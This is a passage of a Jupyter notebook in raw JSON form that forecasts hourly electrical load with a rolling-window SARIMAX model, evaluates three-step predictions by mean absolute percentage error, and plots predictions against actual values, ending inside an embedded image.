00:00:00</th>\n", " <td>0.33</td>\n", " <td>0.29</td>\n", " <td>0.27</td>\n", " </tr>\n", " <tr>\n", " <th>2014-12-30 01:00:00</th>\n", " <td>0.29</td>\n", " <td>0.27</td>\n", " <td>0.27</td>\n", " </tr>\n", " <tr>\n", " <th>2014-12-30 02:00:00</th>\n", " <td>0.27</td>\n", " <td>0.27</td>\n", " <td>0.30</td>\n", " </tr>\n", " <tr>\n", " <th>2014-12-30 03:00:00</th>\n", " <td>0.27</td>\n", " <td>0.30</td>\n", " <td>0.41</td>\n", " </tr>\n", " <tr>\n", " <th>2014-12-30 04:00:00</th>\n", " <td>0.30</td>\n", " <td>0.41</td>\n", " <td>0.57</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " load load+1 load+2\n", "2014-12-30 00:00:00 0.33 0.29 0.27\n", "2014-12-30 01:00:00 0.29 0.27 0.27\n", "2014-12-30 02:00:00 0.27 0.27 0.30\n", "2014-12-30 03:00:00 0.27 0.30 0.41\n", "2014-12-30 04:00:00 0.30 0.41 0.57" ] }, "metadata": {}, "execution_count": 28 } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "Make predictions on the test data" ], "metadata": {} }, { "cell_type": "code", "execution_count": 29, "source": [ "%%time\n", "training_window = 720 # dedicate 30 days (720 hours) for training\n", "\n", "train_ts = train['load']\n", "test_ts = test_shifted\n", "\n", "history = [x for x in train_ts]\n", "history = history[(-training_window):]\n", "\n", "predictions = list()\n", "\n", "# let's user simpler model for demonstration\n", "order = (2, 1, 0)\n", "seasonal_order = (1, 1, 0, 24)\n", "\n", "for t in range(test_ts.shape[0]):\n", " model = SARIMAX(endog=history, order=order, seasonal_order=seasonal_order)\n", " model_fit = model.fit()\n", " yhat = model_fit.forecast(steps = HORIZON)\n", " predictions.append(yhat)\n", " obs = list(test_ts.iloc[t])\n", " # move the training window\n", " history.append(obs[0])\n", " history.pop(0)\n", " print(test_ts.index[t])\n", " print(t+1, ': predicted =', yhat, 'expected =', obs)" ], "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "2014-12-30 00:00:00\n", "1 : predicted = [0.32 0.29 0.28] expected = [0.32945389435989236, 0.2900626678603402, 0.2739480752014323]\n", "2014-12-30 01:00:00\n", "2 : predicted = [0.3 0.29 0.3 ] expected = [0.2900626678603402, 0.2739480752014323, 0.26812891674127126]\n", "2014-12-30 02:00:00\n", "3 : predicted = [0.27 0.28 0.32] expected = [0.2739480752014323, 0.26812891674127126, 0.3025962399283795]\n", "2014-12-30 03:00:00\n", "4 : predicted = [0.28 0.32 0.42] expected = [0.26812891674127126, 0.3025962399283795, 0.40823634735899716]\n", "2014-12-30 04:00:00\n", "5 : predicted = [0.3 0.39 0.54] expected = [0.3025962399283795, 0.40823634735899716, 0.5689346463742166]\n", "2014-12-30 05:00:00\n", "6 : predicted = [0.4 0.55 0.66] expected = [0.40823634735899716, 0.5689346463742166, 0.6799462846911368]\n", "2014-12-30 06:00:00\n", "7 : predicted = [0.57 0.68 0.75] expected = [0.5689346463742166, 0.6799462846911368, 0.7309758281110115]\n", "2014-12-30 07:00:00\n", "8 : predicted = [0.68 0.75 0.8 ] expected = [0.6799462846911368, 0.7309758281110115, 0.7511190689346463]\n", "2014-12-30 08:00:00\n", "9 : predicted = [0.75 0.8 0.82] expected = [0.7309758281110115, 0.7511190689346463, 0.7636526410026856]\n", "2014-12-30 09:00:00\n", "10 : predicted = [0.77 0.78 0.78] expected = [0.7511190689346463, 0.7636526410026856, 0.7381378692927483]\n", "2014-12-30 10:00:00\n", "11 : predicted = [0.76 0.75 0.74] expected = [0.7636526410026856, 0.7381378692927483, 0.7188898836168307]\n", "2014-12-30 11:00:00\n", "12 : predicted = [0.77 0.76 0.75] expected = [0.7381378692927483, 0.7188898836168307, 0.7090420769919425]\n", "2014-12-30 12:00:00\n", "13 : predicted = [0.7 0.68 0.69] expected = [0.7188898836168307, 0.7090420769919425, 0.7081468218442255]\n", "2014-12-30 13:00:00\n", "14 : predicted = [0.72 0.73 0.76] expected = [0.7090420769919425, 0.7081468218442255, 0.7385854968666068]\n", "2014-12-30 14:00:00\n", "15 : predicted = [0.71 0.73 0.86] expected = [0.7081468218442255, 0.7385854968666068, 0.8478066248880931]\n", "2014-12-30 15:00:00\n", "16 : predicted = [0.73 0.85 0.97] expected = [0.7385854968666068, 0.8478066248880931, 0.9516562220232765]\n", "2014-12-30 16:00:00\n", "17 : predicted = [0.87 0.99 0.97] expected = [0.8478066248880931, 0.9516562220232765, 0.934198746642793]\n", "2014-12-30 17:00:00\n", "18 : predicted = [0.94 0.92 0.86] expected = [0.9516562220232765, 0.934198746642793, 0.8876454789615038]\n", "2014-12-30 18:00:00\n", "19 : predicted = [0.94 0.89 0.82] expected = [0.934198746642793, 0.8876454789615038, 0.8294538943598924]\n", "2014-12-30 19:00:00\n", "20 : predicted = [0.88 0.82 0.71] expected = [0.8876454789615038, 0.8294538943598924, 0.7197851387645477]\n", "2014-12-30 20:00:00\n", "21 : predicted = [0.83 0.72 0.58] expected = [0.8294538943598924, 0.7197851387645477, 0.5747538048343777]\n", "2014-12-30 21:00:00\n", "22 : predicted = [0.72 0.58 0.47] expected = [0.7197851387645477, 0.5747538048343777, 0.4592658907788718]\n", "2014-12-30 22:00:00\n", "23 : predicted = [0.58 0.47 0.39] expected = [0.5747538048343777, 0.4592658907788718, 0.3858549686660697]\n", "2014-12-30 23:00:00\n", "24 : predicted = [0.46 0.38 0.34] expected = [0.4592658907788718, 0.3858549686660697, 0.34377797672336596]\n", "2014-12-31 00:00:00\n", "25 : predicted = [0.38 0.34 0.33] expected = [0.3858549686660697, 0.34377797672336596, 0.32542524619516544]\n", "2014-12-31 01:00:00\n", "26 : predicted = [0.36 0.34 0.34] expected = [0.34377797672336596, 0.32542524619516544, 0.33034914950760963]\n", "2014-12-31 02:00:00\n", "27 : predicted = [0.32 0.32 0.35] expected = [0.32542524619516544, 0.33034914950760963, 0.3706356311548791]\n", "2014-12-31 03:00:00\n", "28 : predicted = [0.32 0.36 0.47] expected = [0.33034914950760963, 0.3706356311548791, 0.470008952551477]\n", "2014-12-31 04:00:00\n", "29 : predicted = [0.37 0.48 0.65] expected = [0.3706356311548791, 0.470008952551477, 0.6145926589077886]\n", "2014-12-31 05:00:00\n", "30 : predicted = [0.48 0.64 0.75] expected = [0.470008952551477, 0.6145926589077886, 0.7247090420769919]\n", "2014-12-31 06:00:00\n", "31 : predicted = [0.63 0.73 0.79] expected = [0.6145926589077886, 0.7247090420769919, 0.786034019695613]\n", "2014-12-31 07:00:00\n", "32 : predicted = [0.71 0.76 0.79] expected = [0.7247090420769919, 0.786034019695613, 0.8012533572068039]\n", "2014-12-31 08:00:00\n", "33 : predicted = [0.79 0.82 0.83] expected = [0.786034019695613, 0.8012533572068039, 0.7994628469113696]\n", "2014-12-31 09:00:00\n", "34 : predicted = [0.82 0.83 0.81] expected = [0.8012533572068039, 0.7994628469113696, 0.780214861235452]\n", "2014-12-31 10:00:00\n", "35 : predicted = [0.8 0.78 0.76] expected = [0.7994628469113696, 0.780214861235452, 0.7587287376902416]\n", "2014-12-31 11:00:00\n", "36 : predicted = [0.77 0.75 0.74] expected = [0.780214861235452, 0.7587287376902416, 0.7367949865711727]\n", "2014-12-31 12:00:00\n", "37 : predicted = [0.77 0.76 0.76] expected = [0.7587287376902416, 0.7367949865711727, 0.7188898836168307]\n", "2014-12-31 13:00:00\n", "38 : predicted = [0.75 0.75 0.78] expected = [0.7367949865711727, 0.7188898836168307, 0.7273948075201431]\n", "2014-12-31 14:00:00\n", "39 : predicted = [0.73 0.75 0.87] expected = [0.7188898836168307, 0.7273948075201431, 0.8299015219337511]\n", "2014-12-31 15:00:00\n", "40 : predicted = [0.74 0.85 0.96] expected = [0.7273948075201431, 0.8299015219337511, 0.909579230080573]\n", "2014-12-31 16:00:00\n", "41 : predicted = [0.83 0.94 0.93] expected = [0.8299015219337511, 0.909579230080573, 0.855863921217547]\n", "2014-12-31 17:00:00\n", "42 : predicted = [0.94 0.93 0.88] expected = [0.909579230080573, 0.855863921217547, 0.7721575649059982]\n", "2014-12-31 18:00:00\n", "43 : predicted = [0.87 0.82 0.77] expected = [0.855863921217547, 0.7721575649059982, 0.7023276633840643]\n", "2014-12-31 19:00:00\n", "44 : predicted = [0.79 0.73 0.63] expected = [0.7721575649059982, 0.7023276633840643, 0.6195165622202325]\n", "2014-12-31 20:00:00\n", "45 : predicted = [0.7 0.59 0.46] expected = [0.7023276633840643, 0.6195165622202325, 0.5425246195165621]\n", "2014-12-31 21:00:00\n", "46 : predicted = [0.6 0.47 0.36] expected = [0.6195165622202325, 0.5425246195165621, 0.4735899731423454]\n", "CPU times: user 12min 15s, sys: 2min 39s, total: 14min 54s\n", "Wall time: 2min 36s\n" ] } ], "metadata": { "scrolled": true } }, { "cell_type": "markdown", "source": [ "Compare predictions to actual load" ], "metadata": {} }, { "cell_type": "code", "execution_count": 30, "source": [ "eval_df = pd.DataFrame(predictions, columns=['t+'+str(t) for t in range(1, HORIZON+1)])\n", "eval_df['timestamp'] = test.index[0:len(test.index)-HORIZON+1]\n", "eval_df = pd.melt(eval_df, id_vars='timestamp', value_name='prediction', var_name='h')\n", "eval_df['actual'] = np.array(np.transpose(test_ts)).ravel()\n", "eval_df[['prediction', 'actual']] = scaler.inverse_transform(eval_df[['prediction', 'actual']])\n", "eval_df.head()" ], "outputs": [ { "output_type": "execute_result", "data": { "text/html": [ "<div>\n", "<style scoped>\n", " .dataframe tbody tr th:only-of-type {\n", " vertical-align: middle;\n", " }\n", "\n", " .dataframe tbody tr th {\n", " vertical-align: top;\n", " }\n", "\n", " .dataframe thead th {\n", " text-align: right;\n", " }\n", "</style>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>timestamp</th>\n", " <th>h</th>\n", " <th>prediction</th>\n", " <th>actual</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>2014-12-30 00:00:00</td>\n", " <td>t+1</td>\n", " <td>3,008.74</td>\n", " <td>3,023.00</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>2014-12-30 01:00:00</td>\n", " <td>t+1</td>\n", " <td>2,955.53</td>\n", " <td>2,935.00</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>2014-12-30 02:00:00</td>\n", " <td>t+1</td>\n", " <td>2,900.17</td>\n", " <td>2,899.00</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>2014-12-30 03:00:00</td>\n", " <td>t+1</td>\n", " <td>2,917.69</td>\n", " <td>2,886.00</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>2014-12-30 04:00:00</td>\n", " <td>t+1</td>\n", " <td>2,946.99</td>\n", " <td>2,963.00</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " timestamp h prediction actual\n", "0 2014-12-30 00:00:00 t+1 3,008.74 3,023.00\n", "1 2014-12-30 01:00:00 t+1 2,955.53 2,935.00\n", "2 2014-12-30 02:00:00 t+1 2,900.17 2,899.00\n", "3 2014-12-30 03:00:00 t+1 2,917.69 2,886.00\n", "4 2014-12-30 04:00:00 t+1 2,946.99 2,963.00" ] }, "metadata": {}, "execution_count": 30 } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "Compute the **mean absolute percentage error (MAPE)** over all predictions\n", "\n", "$$MAPE = \\frac{1}{n} \\sum_{t=1}^{n}|\\frac{actual_t - predicted_t}{actual_t}|$$" ], "metadata": {} }, { "cell_type": "code", "execution_count": 31, "source": [ "if(HORIZON > 1):\n", " eval_df['APE'] = (eval_df['prediction'] - eval_df['actual']).abs() / eval_df['actual']\n", " print(eval_df.groupby('h')['APE'].mean())" ], "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "h\n", "t+1 0.01\n", "t+2 0.01\n", "t+3 0.02\n", "Name: APE, dtype: float64\n" ] } ], "metadata": {} }, { "cell_type": "markdown", "source": [], "metadata": {} }, { "cell_type": "code", "execution_count": 32, "source": [ "print('One step forecast MAPE: ', (mape(eval_df[eval_df['h'] == 't+1']['prediction'], eval_df[eval_df['h'] == 't+1']['actual']))*100, '%')" ], "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "One step forecast MAPE: 0.5570581332313952 %\n" ] } ], "metadata": {} }, { "cell_type": "code", "execution_count": 33, "source": [ "print('Multi-step forecast MAPE: ', mape(eval_df['prediction'], eval_df['actual'])*100, '%')" ], "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "Multi-step forecast MAPE: 1.1460048657704118 %\n" ] } ], "metadata": {} }, { "cell_type": "markdown", "source": [ "Plot the predictions vs the actuals for the first week of the test set" ], "metadata": {} }, { "cell_type": "code", "execution_count": 34, "source": [ "if(HORIZON == 1):\n", " ## Plotting single step forecast\n", " eval_df.plot(x='timestamp', y=['actual', 'prediction'], style=['r', 'b'], figsize=(15, 8))\n", "\n", "else:\n", " ## Plotting multi step forecast\n", " plot_df = eval_df[(eval_df.h=='t+1')][['timestamp', 'actual']]\n", " for t in range(1, HORIZON+1):\n", " plot_df['t+'+str(t)] = eval_df[(eval_df.h=='t+'+str(t))]['prediction'].values\n", "\n", " fig = plt.figure(figsize=(15, 8))\n", " ax = plt.plot(plot_df['timestamp'], plot_df['actual'], color='red', linewidth=4.0)\n", " ax = fig.add_subplot(111)\n", " for t in range(1, HORIZON+1):\n", " x = plot_df['timestamp'][(t-1):]\n", " y = plot_df['t+'+str(t)][0:len(x)]\n", " ax.plot(x, y, color='blue', linewidth=4*math.pow(.9,t), alpha=math.pow(0.8,t))\n", " \n", " ax.legend(loc='best')\n", " \n", "plt.xlabel('timestamp', fontsize=12)\n", "plt.ylabel('load', fontsize=12)\n", "plt.show()" ], "outputs": [ { "output_type": "stream", "name": "stderr", "text": [ "No handles with labels found to put in legend.\n" ] }, { "output_type": "display_data", "data": { "image/png": "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